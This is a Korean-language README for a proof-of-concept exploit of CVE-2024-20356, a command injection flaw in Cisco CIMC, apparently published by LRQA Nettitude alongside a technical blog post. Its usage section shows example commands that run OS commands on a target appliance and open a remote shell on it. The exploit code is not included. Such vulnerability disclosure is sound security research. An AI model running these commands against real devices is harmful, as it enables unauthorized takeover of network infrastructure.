
Cisco CIMC의 명령 주입 취약점인 CVE-2024-20356에 대한 개념 증명입니다.
이것은 Cisco CIMC의 Command Injection 취약점인 CVE-2024-20356에 대한 개념 증명입니다.
전체 기술 세부 사항은 https://labs.nettitude.com/blog/cve-2024-20356-jailbreaking-a-cisco-appliance-to-run-doom에서 확인할 수 있습니다.
Usage: CVE-2024-20356.py [-h] -t HOST -u USERNAME -p PASSWORD [-a ACTION] [-c CMD] [-v]
options:
-h, --help Show this help message and exit
-t HOST, --host HOST Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
-u USERNAME, --username USERNAME
Username (default: admin)
-p PASSWORD, --password PASSWORD
Password (default: cisco)
-a ACTION, --action ACTION
Action: test, cmd, shell, dance (default: test)
-c CMD, --cmd CMD OS command to run (Default: NONE)
-v, --verbose Displays more information about cimc
예제 명령어:
CVE-2024-20356.py --host 192.168.x.x -u admin -p your_password -v
CVE-2024-20356.py --host 192.168.x.x -u admin -p your_password -c 'id'
CVE-2024-20356.py --host 192.168.x.x -u admin -p your_password -a shell
CVE-2024-20356.py --host 192.168.x.x -u admin -p your_password -a dance
전체 사용법은 --help 인자를 사용하여 확인하세요.
이 개념 증명은 시연 목적으로만 제공되며 불법적인 활동에 사용되어서는 안 됩니다. LRQA Nettitude는 이 코드의 사용 또는 오용으로 인해 발생하는 모든 손해에 대해 책임을 지지 않습니다.